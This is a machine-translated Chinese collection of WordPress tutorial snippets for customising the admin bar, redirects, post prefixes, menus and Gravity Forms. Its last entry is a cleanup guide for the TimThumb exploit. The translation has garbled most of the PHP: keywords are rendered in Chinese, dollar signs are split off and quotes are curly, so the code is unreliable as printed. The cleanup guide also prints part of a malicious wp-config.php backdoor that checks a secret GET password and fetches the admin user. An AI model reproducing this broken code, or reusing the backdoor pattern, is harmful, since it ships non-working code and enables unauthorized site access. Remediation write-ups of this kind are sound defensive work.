如何更改WordPress 3.3管理栏中的你好文本

您是否曾经与客户一起尝试为其定制WordPress后端体验? 也许你添加了一个自定义的仪表板小部件,删除菜单项,甚至创建自定义的写入面板。 那么Greg Kerstin(@graphicagenda)正在研究一个项目,他想在WordPress管理栏中修改HOWD文本。 通常它说你好,用户名。 他很友善地向我们提交了一个片段,其中他展示了如何改变你的文本,并用Welcome来代替它。 你所要做的就是把下面的代码粘贴到主题的functions.php文件中,或者创建一个网站插件。 add_action(’admin_bar_menu’,’wp_admin_bar_my_custom_account_menu’,11); 函数wp_admin_bar_my_custom_account_menu($ wp_admin_bar){ $ user_id = get_current_user_id(); $ current_user = wp_get_current_user(); $ profile_url = get_edit_profile_url($ user_id); if(0!= $ user_id){ / *添加“我的账户”菜单* / $ avatar = get_avatar($ user_id,28); $ howdy = sprintf(__(’Welcome,%1 $ s’),$ current_user-> display_name); $ class =空($头像)? ”:’with-avatar’; $ wp_admin_bar-> add_menu(array( ‘id’=>’my-account’, ‘parent’=>’top-secondary’, ‘title’=> $嗨。 $头像, ‘href’=> … Read more 如何更改WordPress 3.3管理栏中的你好文本


如何将用户重定向到WordPress的随机文章

我们在新设计中添加的新功能之一就是您在整个网络中看到的“探索”功能。 当用户点击这个按钮,他们被带到一个网站上的随机帖子。 以前,我们是这样做的,所以用户被带到一个显示随机文章的页面。 那里有相当多的问题。 主要的用户不知道页面的实际URL。 当启动我们的最新网站List25时,我们认为添加一个名为“我感觉好奇”的按钮并让用户以这种方式浏览会很酷。 在这个时候,我正在路易斯维尔的WordCamp讲话。 我很高兴看到我们的一个朋友(@ Otto42)碰巧出席了会议。 在会议期间,奥托写了这个片段,而不是听我的讲话(就像他真的需要学习)。 长话短说,在这篇文章中,我们将向您展示如何将用户重定向到WordPress中的随机文章。 打开您的主题的functions.php文件或创建一个空白的插件文件并粘贴以下代码: ADD_ACTION( ‘初始化’, ‘random_add_rewrite’); 函数random_add_rewrite(){         全球$ wp;         $ WP-> add_query_var( ‘随机’);         add_rewrite_rule(’random /?$’,’index.php?random = 1’,’top’); } ADD_ACTION( ‘template_redirect’, ‘random_template’); 函数random_template(){         if(get_query_var(’random’)== 1){                 $ posts = get_posts(’post_type = post&orderby = rand&numberposts = 1’);                 foreach($ posts为$ post){                         $ link … Read more 如何将用户重定向到WordPress的随机文章


如何在WordPress中更改私人和受保护的帖子前缀

你发现自己有很多私人或受保护的帖子? 如果你这样做,那么你可能会注意到WordPress在标题前放置了Private:或者Protected:。 大多数用户可能会忽略前面的内容,如果他们是唯一一个看到该网站的人。 但是,如果您有多作者博客或个人博客,则可以通过更改默认前缀来使事情变得有趣。 例如:如果你有一个你的家庭阅读的个人博客,那么你可以让所有的保护帖子标题说:“仅限家庭:帖子标题去这里”。 在本文中,我们将向您展示在WordPress中更改私有和受保护的帖子前缀是多么容易。 更改受保护的帖子前缀 只需将以下代码粘贴到主题的functions.php文件中 函数change_protected_title_prefix(){      返回’仅限家庭:%s’; } add_filter(’protected_title_format’,’change_protected_title_prefix’); 更改专用帖子前缀 将以下代码粘贴到主题的functions.php文件中: 函数change_private_title_prefix(){      返回“仅编辑者:%s”; } add_filter(’private_title_format’,’change_private_title_prefix’); 你不必使用我们建议的例子。 你可以用这个创意。 这只是另一种方式,你可以调动你的博客。


如何从WordPress管理面板中禁用主题和插件编辑器

默认情况下,WordPress允许用户通过管理面板编辑主题和插件代码。 虽然这是一个方便的功能,但也可能非常危险。 一个简单的错字可能最终锁定你的网站,除非你有FTP访问权限。 为了防止客户搞砸网站,最好禁用WordPress管理面板中的主题和插件编辑器。 在本文中,我们将与您分享一行代码,该代码将禁用WordPress的主题和插件编辑器功能。 你所要做的就是打开你的wp-config.php文件并粘贴下面的代码: define(’DISALLOW_FILE_EDIT’,true); 你完成了。 我们的一个用户指出,如果你把这个代码粘贴到主题的functions.php文件中,它也可以。


WordPress搜索查询只返回一个匹配时自动重定向

有时候在搜索一个WordPress的博客,你只会得到一个项目的结果。 根据您的网站的组织方式,这应该是用户一直在寻找的项目。 我们的一位用户询问,如果搜索查询结果只有一个匹配,是否有重定向到帖子的方法。 在本文中,我们将向您展示如何在搜索查询仅返回一个匹配时将用户重定向到帖子。 所有你需要做的就是打开你的主题的functions.php文件并粘贴下面的代码片段。 add_action(’template_redirect’,’one_match_redirect’); 函数one_match_redirect(){      if(is_search()){          全球$ wp_query;          if($ wp_query-> post_count == 1){              wp_redirect(get_permalink($ wp_query-> posts [‘0’] – > ID));          }      } } 现在你必须提防一些用户不会期望这个功能。 所以它可能会把他们吓跑


如何在WordPress中使用多个搜索表单

最近我们向您展示了如何在WordPress中限制特定帖子类型的搜索结果。 现在我们将向您展示如何创建不同的/多个搜索表单。 这样每个表单可以被限制为搜索特定的帖子类型。 虽然这不是很困难,但需要您对WordPress模板有一个基本的了解。 首先,你需要一些搜索表单。 将下面的代码放在您希望他们在您的博客中的任何位置:


如何修复Skype覆盖WordPress主题中的电话号码

如果您的计算机上有Skype,您可能已经注意到有时Skype会在您访问网站时自动突出显示电话号码。 从WordPress开发者的角度来看,这可能是非常令人沮丧的。 它不仅可以使你的网站看起来不好,但它也可以搞乱布局。 事实上,最近我们有一个客户的页面一直在打破,因为Skype突出了他的电话号码。 解决这个问题不是很难。 你所要做的就是在HTML文档的头部添加一些代码,这样可以防止Skype突出显示主题中的数字,而不管它显示的浏览器是什么。 这是你应该粘贴的代码: 确保它在两者之间 和 标签。 对于那些只是想打开插件,然后下载我们的插件防止Skype覆盖。 我们希望这可以帮助您修复WordPress主题中的Skype覆盖电话号码。 如果您有任何问题或意见,请在下面留言。


使用条件语句在WordPress菜单项中添加自定义类

在大多数情况下,当设计WordPress导航菜单时,您可以简单地从WordPress管理面板添加CSS类。 最近在做项目的时候,我们发现自己处在一个麻烦的境地。 我们只想在单个帖子页面上添加一个自定义的类到一个特定的菜单项。 经过四处寻找,我们找不到任何解决办法。 我们的最后一招是在twitter上提问。 Otto(@ Otto42)回答说可以使用过滤器,但没有过滤器的文档。 看了一会儿之后,我们找出了解决办法。 你需要做的是将下面的代码粘贴到你的functions.php文件中: //在导航菜单项中过滤一个类 add_filter(’nav_menu_css_class’,’special_nav_class’,10,2); 函数special_nav_class($ classes,$ item){       if(is_single()&& $ item-> title ==’Blog’){               $ classes [] =’current-menu-item’;       }       返回$类; } 上面的代码只是检查它是否是一个单一的页面,菜单项标题是博客。 如果条件匹配,则添加一个“Current-menu-item”类。 我们需要添加一个自定义的类,以使其与我们正在开发的这个设计一起工作。 如果你不能说出来,基本上我们想要做的就是当用户在一个单一的职位上保持博客项目在菜单中突出显示。 这使他们能够看到单个帖子是博客的一部分。 这通常是没有道理的,但在我们正在设计的设计中,这确实是有道理的。 如果你是绝望的寻找这个代码,我们希望这篇文章帮助。 你也可以检查其他$ item变量。 一些例子是:$ item-> ID,$ item-> title,$ item-> xfn 快速编辑:在twitter上发布这篇文章之后,我们的一位用户@dbrabyn指出,我们可以用CSS Body类轻松实现这一点。 例如: .single #navigation .leftmenublog div {display:inline-block!important;} 基本上我们所做的是添加了一个额外的div来在我们的菜单上显示一个箭头图标。 … Read more 使用条件语句在WordPress菜单项中添加自定义类


如何使用Javascript弹出窗口来显示重力形式的错误消息

重力形式可能是最适合初学者的友好联系形式。 重力形式的最好的部分是它的可定制性。 它甚至允许高级用户对其功能进行更改。 在最近的一篇文章中,我们向您展示了如何在Gravity Forms中添加占位符文本。 在本文中,我们将向您展示如何自定义错误消息的显示方式。 要做到这一点打开你的functions.php文件并粘贴下面的代码: add_filter(’gform_validation_message’,’sw_gf_validation_message’,10,2); 函数sw_gf_validation_message($ validation_message){ add_action(’wp_footer’,’sw_gf_js_error’); } 函数sw_gf_js_error(){?> 您可以通过修改alert()函数内的内容来更改错误消息。 现在,每当有人忘记填写错误信息将显示在JavaScript弹出窗口,而不是在您的Gravity Forms上方。 积分:Brad Williams


如何修复和清理WordPress中的TimThumb Hack

所以如果你没有记错的话,8月份的TimThumb脚本存在安全问题。 然而,令我们惊讶的是,许多网站仍然使用旧版本。 在过去一个月里,我们已经确定了三个地点,一个是昨天。 因此,只需逐步撰写文章,这是有道理的,所以我们的用户可以随时关注它。 我们解决这个问题的所有三个用户甚至不知道TimThumb是什么,或者他们是否使用它。 TimThumb是一个调整图像大小的PHP脚本。 它有一个漏洞,但现在使用是安全的。 那么你怎么知道你的网站被黑了呢? 如果您在访问您的网站时在浏览器上看到红色大屏幕,请执行以下操作: 如果您开始受到关于用户从您的网站重定向的电子邮件轰炸。 最有可能的情况是,您的网站是这个漏洞的受害者。 作为一个谨慎的措施,每个人都应该使用这个Timthumb漏洞扫描器。 这会告诉你是否使用TimThumb的旧版本。 许多主题俱乐部立即升级了他们的核心。 所以这个插件会检查是否安装了Timthumb的新安全版本,或者安装了旧版本。 现在,如果你的网站已经陷入了这个Timthumb的攻击,那么这就是你需要做的。 首先你需要删除下列文件: /wp-admin/upd.php /wp-content/upd.php 登录WordPress管理面板并重新安装WordPress版本。 我们正在专门寻找重新安装这些文件: /wp-settings.php /wp-includes/js/jquery/jquery.js /wp-includes/js/110n.js 然后打开你的 WP-config.php文件 在那里你很可能会发现这个大的恶意软件代码,正在收集登录凭据和cookie。 这段代码将会走向底部。 if(isset($ _ GET [‘pingnow’])&& isset($ _ GET [‘pass’])){ if($ _GET [‘pass’] ==’19ca14e7ea6328a42e0eb13d585e4c22’){ if($ _GET [‘pingnow’] ==’login’){ $ user_login =’admin’; $ user = get_userdatabylogin($ user_login); $ user_id = … Read more 如何修复和清理WordPress中的TimThumb Hack